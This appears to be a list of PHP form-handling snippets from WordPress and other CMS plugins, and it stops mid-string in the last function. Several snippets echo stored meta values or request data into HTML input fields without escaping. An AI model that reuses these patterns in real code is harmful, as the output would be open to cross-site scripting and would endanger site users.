"public function getFormData(){\n\n\t\t\t\n\t\t\t$expectedVariables = ['title','email','checkbox'];\n\n\n\t\t\tforeach ($expectedVariables as $variable) {\n\n\t\t\t\t// creating entries for error field\t\n\t\t\t\t$this->moviesuggest['errors'][$variable]=\"\";\n\n\t\t\t\t// move all $_POST values into MovieSuggest array\n\t\t\t\tif(isset($_POST[$variable])){\n\t\t\t\t\t$this->moviesuggest[$variable] = $_POST[$variable];\n\t\t\t\t}else{\n\t\t\t\t\t$this->moviesuggest[$variable] = \"\";\n\t\t\t\t}\n\t\t\t}\n\n\n\t\t\t// var_dump($moviesuggest);\n\t\t\t// die();\n\t}",
"public function getFormFiller() {}",
"public function getFormFiller() {}",
"public function meta_box_display_forms() {\n\t?>\n\t\t<p><?php _e( 'Add forms to your Posts or Pages by locating the <strong>Add Form</strong> button in the area above your post/page editor.', 'visual-form-builder-pro' ); ?></p>\n \t<p><?php _e( 'You may also manually insert the shortcode into a post/page or the template tag into a template file.', 'visual-form-builder-pro' ); ?></p>\n \t<p>\n \t\t<?php _e( 'Shortcode', 'visual-form-builder-pro' ); ?>\n \t\t<input value=\"[vfb id='<?php echo (int) $_REQUEST['form']; ?>']\" readonly=\"readonly\" />\n \t</p>\n \t<p>\n \t\t<?php _e( 'Template Tag', 'visual-form-builder-pro' ); ?>\n \t\t<input value=\"<?php vfb_pro( 'id=<?php echo (int) $_REQUEST['form']; ?>' ); ?>\" readonly=\"readonly\"/>\n \t</p>\n\t<?php\n\t}",
"function prepare_for_akismet( $form ) {\n\t\t$form['comment_type'] = 'contact_form';\n\t\t$form['user_ip'] = preg_replace( '/[^0-9., ]/', '', $_SERVER['REMOTE_ADDR'] );\n\t\t$form['user_agent'] = $_SERVER['HTTP_USER_AGENT'];\n\t\t$form['referrer'] = $_SERVER['HTTP_REFERER'];\n\t\t$form['blog'] = get_option( 'home' );\n\n\t\t$ignore = array( 'HTTP_COOKIE' );\n\n\t\tforeach ( $_SERVER as $k => $value )\n\t\t\tif ( !in_array( $k, $ignore ) && is_string( $value ) )\n\t\t\t\t$form[\"$k\"] = $value;\n\n\t\treturn $form;\n\t}",
"public function edit_form_after_title() {\n\t\twp_nonce_field( 'papi_save_data', 'papi_meta_nonce' );\n\n\t\tif ( $value = esc_attr( papi_get_entry_type_id() ) ) {\n\t\t\tpapi_render_html_tag( 'input', [\n\t\t\t\t'data-papi-page-type-key' => true,\n\t\t\t\t'name' => esc_attr( papi_get_page_type_key() ),\n\t\t\t\t'type' => 'hidden',\n\t\t\t\t'value' => $value\n\t\t\t] );\n\t\t}\n\t}",
"function show_your_fields_meta_box() {\n\tglobal $post;\n\t\t$meta = get_post_meta( $post->ID, 'actu_fields', true ); ?>\n\n\t<input type=\"hidden\" name=\"actu_fb_link\" value=\"<?php echo wp_create_nonce( basename(__FILE__) ); ?>\">\n\n <p>\n\t<input type=\"text\" name=\"actu_fields[text]\" id=\"actu_fields[text]\" class=\"regular-text\" value=\"<?php if (is_array($meta) && isset($meta['text'])){ echo $meta['text']; } ?>\">\n</p>\n\n\t<?php }",
"function wyz_ajax_registration_form_builder_save_form() {\n\n\t$form_data = json_decode( stripslashes_deep( $_REQUEST['form_data'] ),true );\n\tif ( ! empty( $form_data ) && is_array( $form_data ) ) {\n\t\tforeach ( $form_data as $key => $value ) {\n\t\t\t$form_data[ $key ]['hidden'] = true;\n\t\t}\n\t}\n\tupdate_option( 'wyz_registration_form_data', $form_data );\n\twp_die();\n}",
"public function get_submitted_edit_form_data()\n\t{\n\t\t$this->credits = $_POST['credits'];\n\t\t$this->levelID = $_POST['level'];\t\n\t}",
"public static function getFormFieldMap() {\n return array(\n 'name' => 'title',\n 'blurb' => 'blurb',\n 'image' => 'image',\n 'link' => 'link',\n );\n }",
"function acf_form_head()\n{\n}",
"function wyz_ajax_business_form_builder_save_form() {\n\n\t$form_data = json_decode( stripslashes_deep( $_REQUEST['form_data'] ),true );\n\tif ( ! empty( $form_data ) && is_array( $form_data ) ) {\n\t\tforeach ( $form_data as $key => $value ) {\n\t\t\t$form_data[ $key ]['hidden'] = true;\n\t\t}\n\t}\n\tupdate_option( 'wyz_business_form_builder_data', $form_data );\n\twp_die();\n}",
"function set_submit_normal()\n\t{\n\t\t$this->_submit_type = \"application/x-www-form-urlencoded\";\n\t}",
"public function renderForm()\n {\n $lang = $this->context->language;\n\n $inputs[] = [\n 'type' => 'switch',\n 'label' => $this->l(\"Active\"),\n 'name' => 'active',\n 'values' => [\n [\n 'id' => 'active_on',\n 'value' => 1,\n ],\n [\n 'id' => 'active_off',\n 'value' => 0,\n ],\n ]\n ];\n $inputs[] = [\n 'type' => 'text',\n 'label' => $this->l('Page Name'),\n 'name' => 'name',\n ];\n $inputs[] = [\n 'type' => 'text',\n 'label' => $this->l('Meta Title'),\n 'name' => 'meta_title_lang',\n 'required' => true,\n 'id' => 'name',\n 'lang' => true,\n 'class' => 'copyMeta2friendlyURL',\n 'hint' => $this->l('Invalid characters:').' <>;=#{}',\n ];\n $inputs[] = [\n 'type' => 'text',\n 'label' => $this->l('Meta Description'),\n 'name' => 'meta_description_lang',\n 'lang' => true,\n 'hint' => $this->l('Invalid characters:').' <>;=#{}',\n ];\n $inputs[] = [\n 'type' => 'tags',\n 'label' => $this->l('Meta Keywords'),\n 'name' => 'meta_keywords_lang',\n 'lang' => true,\n 'hint' => [\n $this->l('To add \"tags\" click in the field, write something, and then press \"Enter.\"'),\n $this->l('Invalid characters:').' <>;=#{}',\n ],\n ];\n $inputs[] = [\n 'type' => 'text',\n 'label' => $this->l('Friendly URL'),\n 'name' => 'url',\n 'required' => true,\n 'hint' => $this->l('Only letters and the hyphen (-) character are allowed.'),\n ];\n $inputs[] = [\n 'type' => 'text',\n 'label' => $this->l('Breadcrumb URL Parameters'),\n 'name' => 'breadcrumb_parameters',\n 'required' => false,\n 'hint' => $this->l('Parameters to be applied when rendering as a breadcrumb'),\n ];\n\n $inputs[] = [\n 'type' => 'code',\n 'mode' => 'css',\n 'label' => $this->l('Style'),\n 'name' => 'style',\n 'lang' => false,\n //'autoload_rte' => true,\n 'id' => 'style',\n 'enableBasicAutocompletion' => true,\n 'enableSnippets' => true,\n 'enableLiveAutocompletion' => true,\n 'maxLines' => 50,\n ];\n $inputs[] = [\n 'type' => 'code',\n 'mode' => 'html',\n 'label' => $this->l('Content'),\n 'name' => 'content_lang',\n 'lang' => true,\n //'autoload_rte' => true,\n 'id' => 'content',\n 'enableBasicAutocompletion' => true,\n 'enableSnippets' => true,\n 'enableLiveAutocompletion' => true,\n 'maxLines' => 70,\n ];\n\n\n $allPages = $this->module->getAllHTMLPages(true);\n array_unshift($allPages, '-');\n\n\n if ($this->display == 'edit') {\n $inputs[] = [\n 'type' => 'hidden',\n 'name' => 'id_page'\n ];\n $title = $this->l('Edit Page');\n $action = 'submitEditCustomHTMLPage';\n\n $pageId = Tools::getValue('id_page');\n\n $this->fields_value = $this->module->getHTMLPage($pageId);\n\n // Remove the current page from the list of pages\n foreach ($allPages as $i => $p) {\n if ($p != '-' && $p['id_page'] == $pageId) {\n unset($allPages[$i]);\n break;\n }\n }\n }\n else {\n\n }\n\n // Parent select\n $inputs[] = [\n 'type' => 'select',\n 'label' => $this->l('Parent'),\n 'name' => 'id_parent',\n 'options' => [\n 'query' => $allPages,\n 'id' => 'id_page',\n 'name' => 'name'\n ]\n ];\n //$this->fields_value['id_relatedTo'] = [];\n\n array_shift($allPages);\n\n // List of Pages this Page is related to\n $inputs[] = [\n 'type' => 'swap',\n 'label' => $this->l('Show On ($page->related[])'),\n 'multiple' => true,\n 'name' => 'id_relatedTo',\n 'options' => [\n 'query' => $allPages,\n 'id' => 'id_page',\n 'name' => 'name'\n ],\n 'hint' => $this->l('Makes this page show up on other pages (not as a child page but as a related page): $page->related[]')\n ];\n\n $inputs[] = [\n 'type' => 'html',\n 'html_content' => '<hr/>',\n 'name' => 'id_page',\n ];\n\n // List of Products\n $products = Product::getProducts($lang->id, 0, 1000, 'id_product', 'ASC');\n $inputs[] = [\n 'type' => 'swap',\n 'label' => $this->l('Products ($product or $products)'),\n 'name' => 'id_products',\n 'multiple' => true,\n 'options' => [\n 'query' => $products,\n 'id' => 'id_product',\n 'name' => 'name'\n ],\n 'hint' => $this->l('This will populate $products. If only one is selected then $product will be populated'),\n ];\n\n // List of Categories\n $categories = Category::getCategories($lang->id, true, false);\n $inputs[] = [\n 'type' => 'swap',\n 'label' => $this->l('Categories ($category or $categories)'),\n 'name' => 'id_categories',\n 'multiple' => true,\n 'options' => [\n 'query' => $categories,\n 'id' => 'id_category',\n 'name' => 'name'\n ],\n 'hint' => $this->l('This will populate $categories. If only one is selected then $category will be populated'),\n ];\n\n $this->fields_form = [\n 'legend' => [\n 'title' => $title,\n 'icon' => 'icon-cogs',\n ],\n 'input' => $inputs,\n 'buttons' => [\n 'save-and-stay' => [\n 'title' => $this->l('Save and Stay'),\n 'class' => 'btn btn-default pull-right',\n 'name' => $action.'AndStay',\n 'icon' => 'process-icon-save',\n 'type' => 'submit'\n ]\n\n ],\n 'submit' => [\n 'title' => $this->l('Save'),\n 'class' => 'btn btn-default pull-right',\n 'name' => $action,\n ],\n\n ];\n\n\n return parent::renderForm();\n }",
"abstract protected function getFormIntroductionFields();",
"public function populateForm() {}",
"function finishForm(& $agent) \n {\n $form = str_replace('{value}', $agent->query, $this->_inputTemplate);\n $form = str_replace('{name}', $this->_http_parameters['query'], $form);\n $form = str_replace('{namegroup}', $this->_http_parameters['group'], $form).'<br>';\n $form .= \"\\n\\tResults per page: \".$this->_getSelect(\n $this->_http_parameters['pagesize'],\n array('10' => '10', '20' => '20', '50' => '50')).'<br>';\n $form .= \"\\n\\tMatch: \".$this->_getSelect(\n $this->_http_parameters['mode'],\n array('All' => 'all', 'Any' => 'any', 'Boolean' => 'bool')).'<br>';\n $form .= \"\\n\\tSearch for: \".$this->_getSelect(\n $this->_http_parameters['wordmatch'],\n array(\n 'Whole word' => 'wrd',\n 'Beginning' => 'beg',\n 'Ending' => 'end',\n 'Substring' => 'sub'\n )).'<br>';\n $form .= \"\\n\\tSearch through: \".$this->_getSelect(\n $this->_http_parameters['type'],\n array(\n 'All types' => '',\n 'text/html' => 'text/html',\n 'text/plain' => 'text/plain'\n )).'<br>';\n $form .= \"\\n\\tSort by: \".$this->_getSelect(\n $this->_http_parameters['sortorder'],\n array('Relevancy' => 'RPD', 'Last Modified Date' => 'DRP')).'<br>';\n $form .= \"\\n\\tSearch in: \".$this->_getSelect(\n $this->_http_parameters['weightfactor'],\n array(\n 'all sections' => '2221',\n 'Description' => '2000',\n 'Keywords' => '0200',\n 'Title' => '0020',\n 'Body' => '0001'\n )).'<br>';\n \n $this->_form = str_replace('{content}', $form, $this->_formTemplate); \n $this->_html = $this->_form.\"\\n<hr>\".$this->_html;\n }",
"function rps_print_portfolio_meta() {\n\tglobal $post;\n\t$url = get_post_meta($post->ID, '_url', true);\n\t$img = get_post_meta($post->ID, '_tagline', true);\n\t?>\n\t<input class=\"rps-url\" type=\"url\" name=\"rps-url\" value=\"<?php echo $url; ?>\" placeholder=\"site url\">\n\t<input class=\"rps-tagline\" type=\"text\" name=\"rps-tagline\" value=\"<?php echo $img; ?>\" placeholder=\"tagline\">\n\t<?php\n}",
"private function parseInputValues()\r\n {\r\n parse_str(file_get_contents(\"php://input\"),$data);\r\n\r\n $data = reset($data);\r\n \r\n $data = preg_split('/------.*\\nContent-Disposition: form-data; name=/', $data);\r\n \r\n $this->inputValues = array();\r\n \r\n foreach($data as $input)\r\n {\r\n // get key\r\n preg_match('/\"([^\"]+)\"/', $input, $key);\r\n \r\n // get data\r\n $input = preg_replace('/------.*--/', '', $input);\r\n \r\n // Store to an array\r\n $this->inputValues[$key[1]] = trim(str_replace($key[0], '', $input));\r\n }\r\n }",
"function acf_form_data($data = array())\n{\n}",
"abstract protected function getFormTypeParams();",
"protected function loadFormData()\n\t{\n\t}",
"public function linkages_meta_box() {\n\t\tglobal $post;\n\t\t\n\t\tif ( isset( $_GET['post'] ) )\n\t\t\t$post_ID = (int) $_GET['post'];\n\t\telse\n\t\t\t$post_ID = '';\n\t\t\n\t\techo '<input type=\"hidden\" name=\"_lingo_hidden\" id=\"_lingo_hidden\" value=\"1\" />';\n\t\t\n\t\tforeach( $this->post_meta as $key => $value ) {\n\t\t\techo '\n\t\t<p>\n\t\t\t<label for=\"' . $key . '\">' . $value . '</label>\n\t\t\t<br />\n\t\t\t<input type=\"text\" name=\"' . $key . '\" id=\"' . $key . '\" value=\"' . get_post_meta( $post_ID, $key, true ) . '\" />\n\t\t</p>';\n\t\t}\n\t\t?>\n\t\t<?php\n\t}",
"function definition_after_data($newmsform) {\n $mform = $newmsform->_form;\n\t\t\n if ($mform->isSubmitted()) {\n $someelem = $mform->getElement('salt');\n $value = $someelem->getValue();\n\t\t\techo $value & 'Hello world';\n // Do whatever checking you need\n //$someelem->setValue($someothervalue);\n // etc.\n // add some new elements...\n }\n\t\n\t}",
"function _arc_meta_section_meta($event, $step, $data, $rs)\n{\n $sectionName = !empty($rs['name']) ? $rs['name'] : null;\n $meta = _arc_meta('section', $sectionName, true);\n\n $form = hInput('arc_meta_id', $meta['id']);\n $form .= '<div class=\"txp-form-field edit-section-arc_meta_title\">';\n $form .= '<div class=\"txp-form-field-label\">' . tag(gtxt('arc_meta_title'), 'label', ' for=\"arc_meta_title\"') . '</div>';\n $form .= '<div class=\"txp-form-field-value\">' . fInput('text', 'arc_meta_title', $meta['title'], '', '', '', '32', '', 'arc_meta_title') . '</div>';\n $form .= '</div>';\n $form .= '<div class=\"txp-form-field edit-section-arc_meta_image\">';\n $form .= '<div class=\"txp-form-field-label\">' . tag(gtxt('arc_meta_image'), 'label', ' for=\"arc_meta_image\"') . '</div>';\n $form .= '<div class=\"txp-form-field-value\">' . fInput('number', 'arc_meta_image', $meta['image'], '', '', '', '32', '', 'arc_meta_image') . '</div>';\n $form .= '</div>';\n $form .= '<div class=\"txp-form-field edit-section-arc_meta_robots\">';\n $form .= '<div class=\"txp-form-field-label\">' . tag(gtxt('arc_meta_robots'), 'label', ' for=\"arc_meta_description\"') . '</div>';\n $form .= '<div class=\"txp-form-field-value\">' . selectInput('arc_meta_robots', _arc_meta_robots(), $meta['robots'], 'arc_meta_robots') . '</div>';\n $form .= '</div>';\n\n return $data . $form;\n}",
"function startForm(& $agent) \n {\n $this->_http_parameters = $agent->_http_parameters;\n return;\n }",
"public function get_form( $atts = array() ) {\r\n\t\t\r\n\t\t\tob_start();\r\n\t\t\t$this->output( $atts );\r\n\t\t\treturn ob_get_clean();\r\n\t\t\r\n\t}",
"function metabox_trailer( $post ){\n\n\t$instagram = get_post_meta($post->ID, '_instagram_meta', true);\n\n\twp_nonce_field(__FILE__, '_instagram_meta_nonce');\n\n\techo \"<input type='text' class='[ widefat ]' name='_instagram_meta' value='$instagram'>\";\n\n}",
"public function loadHttpData(): void {\n\n\t\t$this->value = $this->getHttpData(\\Nette\\Forms\\Form::DATA_TEXT);\n\t\tif ($this->value !== NULL && $this->value !== '') {\n\t\t\tif (is_array($this->isDisabled()) && isset($this->isDisabled()[$this->getValue()])) {\n\t\t\t\t$this->value = NULL;\n\t\t\t} else {\n\t\t\t\t$this->setValue($this->value);\n\t\t\t}\n\t\t}\n\t}",
"function InputForm()\n\t{\t\n\t\tif (!$data = $this->details)\n\t\t{\t$data = $_POST;\n\t\t\tif (!$data)\n\t\t\t{\t$data = array('live'=>1);\n\t\t\t}\n\t\t}\n\t\t\n\t\t$form = new Form('pageedit.php?id=' . (int)$this->id, 'pageedit');\n\t\t$form->AddTextInput('Page title', 'pagetitle', $this->InputSafeString($data['pagetitle']), '', 50);\n\t\t$form->AddCheckBox('Hide title on page', 'hideheader', 1, $data['hideheader']);\n\t\t\n\t\tif ($parents = $this->GetPossibleParents())\n\t\t{\t$form->AddSelectWithGroups('Parent page', 'parentid', $data['parentid'], '', $parents, 1, 0, '');\n\t\t\t$form->AddCheckBox('Display as section of parent', 'inparent', 1, $data['inparent']);\n\t\t}\n\t\t\n\t\t$form->AddTextInput('Order in menu', 'pageorder', (int)$data['pageorder'], 'num', 4);\n\t\tif ($this->CanAdminUser('technical'))\n\t\t{\t$form->AddTextInput('Extra page to include', 'includefile', $this->InputSafeString($data['includefile']), '', 50);\n\t\t\t$form->AddCheckBox('Allow galleries', 'galleries', 1, $data['galleries']);\n\t\t}\n\t\t$form->AddCheckBox('Make live', 'pagelive', 1, $data['pagelive']);\n\t\t$form->AddCheckBox('Leave out of search results', 'nosearch', 1, $data['nosearch']);\n\t\t$form->AddCheckBox('Show social media links?', 'socialbar', 1, $data['socialbar']);\n\t\t$form->AddCheckBox('In header menu?', 'headermenu', 1, $data['headermenu']);\n\t\tif ($this->CanAdminUser('technical'))\n\t\t{\t$form->AddTextInput('Class for header menu', 'menuclass', $this->InputSafeString($data['menuclass']), '', 50);\n\t\t}\n\t\t$form->AddCheckBox('In footer menu?', 'footermenu', 1, $data['footermenu']);\n\t\t$form->AddCheckBox('Header only (no content)', 'headeronly', 1, $data['headeronly']);\n\t\t$form->AddTextInput('Redirect link (full address if external)', 'redirectlink', $this->InputSafeString($data['redirectlink']), 'long', 255);\n\t\t\n\t\tif ($this->id)\n\t\t{\t$form->AddTextInput('Slug (for URL)', 'pagename', $this->InputSafeString($data['pagename']), 'long', 255);\n\t\t\tif ($link = $this->Link())\n\t\t\t{\t$form->AddRawText('<p><label>Link to page</label><span><a href=\"' . $link . '\" target=\"_blank\">' . $link . '</a></span><br /></p>');\n\t\t\t}\n\t\t}\n\t\t$form->AddCheckBox('Display block link in parent (if any)', 'blocklink', 1, $data['blocklink']);\n\t\t$form->AddTextArea('Block link text', $name = 'pageintro', stripslashes($data['pageintro']), 'tinymce', 0, 0, 10, 60);\n\t\t$form->AddTextArea('Page content', $name = 'pagetext', stripslashes($data['pagetext']), 'tinymce', 0, 0, 50, 60);\n\t\t$form->AddRawText('<p><label></label><a href=\"#\" onclick=\"javascript:window.open(\\'newsimagelist.php\\', \\'newsimages\\', \\'toolbar=no, location=no, directories=no, status=no, menubar=no, scrollbars=yes, resizable=yes, width=400, height=550\\'); return false;\">view available images</a></p>');\n\t\t$form->AddFileUpload('Subpage image:', 'imagefile');\n\t\tif ($src = $this->HasImage('thumbnail'))\n\t\t{\t$form->AddRawText('<label>Current image</label><img src=\"' . $src . '?' . time() . '\" height=\"200px\" /><br />');\n\t\t\t$form->AddCheckBox('Delete this', 'delphoto');\n\t\t}\n\t\t\n\t\tob_start();\n\t\techo '<label>Banner:</label><br /><label id=\"bannerPicked\">', ($data['banner'] && ($banner = new BannerSet($data['banner'])) && $banner->id) ? $this->InputSafeString($banner->details['title']) : 'none','</label><input type=\"hidden\" name=\"banner\" id=\"bannerValue\" value=\"', (int)$data['banner'], '\" /><span class=\"dataText\"><a onclick=\"BannerPicker();\">change this</a></span><br />';\n\t\t$form->AddRawText(ob_get_clean());\n\n\n\t\t$form->AddSubmitButton('', $this->id ? 'Save' : 'Create', 'submit');\n\t\techo $this->BannerPickerPopUp();\n\t\t\n\t\t$form->Output();\n\t}",
"function pushMeta ($nombre,$valor,$tipo=1) {\n\t\t$tipos = array(1=>\"name\",2=>\"http-equiv\");\n\t\t$this->_roof[\"meta\"][] = \"<meta \".$tipos[$tipo].\"=\\\"\".$nombre.\"\\\" content=\\\"\".$valor.\"\\\" />\";\n\t}",
"public function getForm(): string\n {\n return $this->html;\n }",
"function parse_form($array) {\n// build reserved keyword array\n//Anything put in here will not show up in your email when form is processed\n $reserved_keys[] = \"MAX_FILE_SIZE\";\n $reserved_keys[] = \"required\";\n $reserved_keys[] = \"redirect\";\n //$reserved_keys[] = \"email\";\n $reserved_keys[] = \"require\";\n $reserved_keys[] = \"path_to_file\";\n $reserved_keys[] = \"recipient\";\n $reserved_keys[] = \"subject\";\n $reserved_keys[] = \"bgcolor\";\n $reserved_keys[] = \"text_color\";\n $reserved_keys[] = \"link_color\";\n $reserved_keys[] = \"vlink_color\";\n $reserved_keys[] = \"alink_color\";\n $reserved_keys[] = \"title\";\n $reserved_keys[] = \"missing_fields_redirect\";\n $reserved_keys[] = \"env_report\";\n $reserved_keys[] = \"Submit\";\n $reserved_keys[] = \"submit\";\n //$reserved_keys[] = \"name\";\n $reserved_keys[] = \"Name\";\n $reserved_keys[] = \"submit_x\";\n $reserved_keys[] = \"submit_y\";\n $reserved_keys[] = \"sendit\";\n if (count($array)) {\n while (list($key, $val) = each($array)) {\n//check for email injection\n\t\tif(!has_no_emailheaders($val)){\n\t\t\tprint_error(\"Please don't spam\");\n\t\t}\n\t\t\n// exclude reserved keywords\n $reserved_violation = 0;\n for ($ri=0; $ri<count($reserved_keys); $ri++) {\n if ($key == $reserved_keys[$ri]) $reserved_violation = 1;\n }\n// prepare content\n if ($reserved_violation != 1) {\n\t// let's check to see if they are check boxes\n if (is_array($val)) {\n for ($z=0; $z<count($val); $z++) {\n $nn=$z+1;\n $content .= \"$key #$nn: $val[$z]\\n\";\n }\n }\n\t // if the values contains nothing do nothing then\n\t // don't add it to the content)\n elseif($val != \"\") $content .= \"$key: $val\\n\";\n }\n } // end of while\nreturn $content;\n }\n}",
"public function generateFormProperites(){\r\n\t\t$formProperties = $this->formProperties;\r\n\t\t$formTags = '<form ';\r\n\t\tif(sizeof($formProperties) > 0) {\r\n\t\t\tforeach($formProperties as $key=>$params){\r\n\t\t\t\t$formTags .= $key.'=\"'.$params.'\" ';\r\n\t\t\t}\r\n\t\t}\r\n\t\t$formTags\t\t.= '>';\r\n\t\treturn $formTags;\r\n\t}",
"function loadFormData() \n\t{\n\t\t$data = JFactory::getApplication()->getUserState(\"$this->option.edit.\".$this->getName().\".data\", array());\n\t\tif (empty($data)) \n\t\t{\n\t\t\t$data = $this->getItem();\n\t\t}\n\t\t\n\t\t$this->preprocessData('com_<#= StrConv(Value(\"Extension.name\"), VbStrConv.Lowercase) #>.<#= StrConv(Value(\"Task.nameObject\"), VbStrConv.Lowercase) #>', $data);\n\t\treturn $data;\n\t}",
"public function cs_generate_form() {\n global $post;\n }",
"function my_module_hero_image_edit_form_submit($form, &$form_state) {\n $form_fields = array(\n 'title_text',\n 'title_heading',\n );\n foreach ($form_fields as $key) {\n $form_state['conf'][$key] = $form_state['values'][$key];\n }\n\n}",
"public function render_form( $post ) {\n\n # get meta data\n $fields = get_post_meta( $post->ID, '_verifyGSC_field', true );\n\n # html input\n ?>\n <div class=\"verifyGSC\">\n <?php\n for($i = 0; $i < 4; $i++){\n ?>\n <div class=\"field\">\n <label for=\"verifyGSC_field_<?=$i+1?>\"> verifyGSC - Original Source <?=$i+1?></label>\n <input type=\"text\" name=\"verifyGSC_field[]\" id=\"verifyGSC_field_<?=$i+1?>\" value=\"<?php if ( is_array($fields) ) echo $fields[$i]; ?>\">\n </div>\n <?php\n }\n ?>\n <input type=\"hidden\" name=\"verifyGSC_nonce\" value=\"<?php echo wp_create_nonce(__FILE__); ?>\" />\n </div>\n <?php\n }",
"function setFormData($data) {\r\n\t\t$data['why_use'] = $this->load->view('common/why_use_view', $data, TRUE);\r\n\t\t\r\n\t\t// load search block\r\n\t\t$data = buildTourSearchCriteria($data);\r\n\t\t\r\n\t\t$data['inc_css'] = get_static_resources('ads.min.css');\r\n\t\t\r\n\t\treturn $data;\r\n\t}",
"public function form_head_html() {\n\n\t\t$settings = $this->form_data['settings'];\n\n\t\t$title = ! empty( $settings['conversational_forms_title'] ) ? $settings['conversational_forms_title'] : '';\n\t\t$description = ! empty( $settings['conversational_forms_description'] ) ? $settings['conversational_forms_description'] : '';\n\n\t\tif ( empty( $title ) && empty( $description ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$settings['form_title'] = $title;\n\t\t$settings['form_desc'] = $description;\n\n\t\t\\wpforms()->frontend->head( \\array_merge( $this->form_data, array( 'settings' => $settings ) ), null, true, true, array() );\n\t}",
"protected function getFormData() {\n\t\treturn $this->stripNonPrintables(json_decode($this->request->postVar('Details'), true));\n\t}",
"public function addMetaFieldsToEditForm()\n\t{\n\t\t$interval = $this->getMetaFields('interval');\n\t\t$animation = $this->getMetaFields('animation');\n\n\t\t?>\n\t\t\t<tr class=\"form-field\">\n\t\t\t\t<th scope=\"row\">\n\t\t\t\t\t<label for=\"interval\">Tijd tussen slides</label>\n\t\t\t\t</th>\n\t\t\t\t<td>\n\t\t\t\t\t<input name=\"interval\" id=\"interval\" type=\"text\" value=\"<?php echo $interval;?>\" size=\"40\">\n\t\t\t\t\t<p class=\"description\">De tijd tussen slides in milliseconden (1000ms = 1s).</p>\n\t\t\t\t</td>\n\t\t\t</tr>\n\t\t\t<tr class=\"form-field\">\n\t\t\t\t<th scope=\"row\">\n\t\t\t\t\t<label for=\"animation\">Animatie</label>\n\t\t\t\t</th>\n\t\t\t\t<td>\n\t\t\t\t\t<select name=\"animation\" id=\"animation\">\n\t\t\t\t\t\t<option <?php selected($animation, 'slide'); ?> value=\"slide\">Slide</option>\n\t\t\t\t\t\t<option <?php selected($animation, 'fade'); ?> value=\"fade\">Fade</option>\n\t\t\t\t\t</select>\n\t\t\t\t\t<p class=\"description\">Selecteer de animatie die gebruikt wordt door de slideshow.</p>\n\t\t\t\t</td>\n\t\t\t</tr>\n\t\t<?php\n\t}",
"public function formdata()\n {\n return Formdata::getinstance();\n }",
"public function start()\n\t{\n\t\t$attrs = \"\";\n\t\tforeach($this->_attributes as $key => $val)\n\t\t\t$attrs .= \"$key=\\\"$val\\\" \";\n\n\t\t$attrs = trim($attrs);\n\t\techo \"<form $attrs>\\n\";\n\t}",
"public function sendMetadataForm($data, $form)\n {\n // Specify array for the params to send to the API. Can't be associative and keyed by the xmlname\n // as the Dublin core specification allows for multiple of the same field.\n $apiParams = array();\n\n // Loop through the defined fields grabbing the POSTed data for it, or if a placeholder\n // then just adding it and the specified value to the apiParams.\n foreach($this->Fields()->sort('SortOrder', 'asc') as $field) {\n // Like when the fields are looped through to create the form, str_replace the label to create the fieldname.\n $fieldName = str_replace(' ', '_', $field->Label);\n\n // If the field type is not a placeholder then get the data POSTed for it.\n if ($field->FieldType != 'PLACEHOLDER') {\n if (isset($data[$fieldName])) {\n // Check if the field is a dropdown and the 'other' option has been checked for it\n // if so then if the value selected is 'other' we need to grab the value out of the _other\n // field for it and pop that in the API params instead of the value selected in the dropdown.\n if ($field->DropdownOtherOption && $data[$fieldName] == 'other') {\n if (isset($data[\"${fieldName}_other\"])) {\n $apiParams[] = array('xmlname' => $field->DublinCoreFieldType()->XmlName, 'value' => trim($data[\"${fieldName}_other\"]));\n } else {\n $apiParams[] = array('xmlname' => $field->DublinCoreFieldType()->XmlName, 'value' => trim($data[$fieldName]));\n }\n } else {\n // Check if the field is a Keywords field. If so we need to append the string \"Keywords: \"\n // along with the keywords the admin specified to those entered by the user.\n if ($field->FieldType == 'KEYWORDS') {\n $keywordsString = 'Keywords: ';\n\n // If the admin entered some keywords (which is optional) add with one comma afterwards.\n if (trim($field->KeywordsValue)) {\n $keywordsString .= rtrim(trim($field->KeywordsValue), ',') . ', ';\n }\n\n // If the user entered some keywords then also add these on.\n if (trim($data[$fieldName])) {\n $keywordsString .= trim($data[$fieldName]);\n }\n\n // Finally set the keywords for the parameter to send to the catalogue.\n $apiParams[] = array('xmlname' => $field->DublinCoreFieldType()->XmlName, 'value' => $keywordsString);\n } else {\n // Else if regular field then just add its value to the params keyed by the XMLName.\n $apiParams[] = array('xmlname' => $field->DublinCoreFieldType()->XmlName, 'value' => trim($data[$fieldName]));\n }\n }\n }\n } else {\n // If it is placeholder then add it along with the admin defined placeholder value to the API params.\n $apiParams[] = array('xmlname' => $field->DublinCoreFieldType()->XmlName, 'value' => $field->PlaceholderValue);\n }\n }\n\n // Create an object of the MetadataPushAPI type sending the needed info to the constructor and then call the\n // execute command passing the apiParams. We need to try/catch it as it will throw and exception if there is\n // an issue or return the identifer of the newly created record if successful.\n $api = new MetadataPushApi($this->CataloguePushUrl, $this->CatalogueUsername, $this->CataloguePassword);\n $apiError = false;\n $apiErrorMessage = \"\";\n $newRecordId = \"\";\n\n try {\n $newRecordId = $api->execute($apiParams);\n }\n\n catch (Exception $exception) {\n $apiError = true;\n $apiErrorMessage = $exception->getMessage();\n }\n\n // If the push was not successful, then we need to retain the user's input on the form i.e. re-display it with all fields re-populated.\n if ($apiError) {\n // Remember the user's data, this will cause the form to re-populate.\n Session::set(\"FormData.{$form->getName()}.data\", $data);\n\n // Get the failure error message defined in the CMS and replace the speical {ERROR} variable with\n // the error message from the Catalogue API or HTML error code message.\n $errorMessage = nl2br(str_replace('{ERROR}', $apiErrorMessage, $this->PushFailureMessage));\n\n // Populate the error message to display on the form when it is re-loaded.\n $form->sessionMessage($errorMessage, 'bad', false);\n\n // Return the user back to the form page they just posted.\n return $this->redirectBack();\n } else {\n // No error, build link to view the new record which is displayed on the page and also included in the email.\n $newRecordLink = $this->CatalogueViewUrl . $newRecordId;\n\n // See if the AdditionalMessage checkbox is ticked, if so then get the value of the email user address\n // and User email message fields as this needs to be included in the email to the curator.\n $additionalMessageEmail = null;\n $additionalMessageText = null;\n\n if (!empty($data['AdditionalMessage'])) {\n $additionalMessageEmail = $data['AdditionalMessageEmail'];\n $additionalMessageText = $data['AdditionalMessageText'];\n }\n\n // Email the curators.\n foreach($this->Curators() as $curator) {\n $this->EmailCurator($curator->Name, $curator->Email, $this->CuratorEmailSubject, $this->CuratorEmailBody, $newRecordLink, $additionalMessageEmail, $additionalMessageText);\n }\n\n // Ensure that any form data in the session is cleared.\n Session::clear(\"FormData.{$form->getName()}.data\");\n\n // Get the success message replacing the link placeholder with a link to the newly created record.\n $successMessage = nl2br(str_replace('{LINK}', \"<a href='\" . 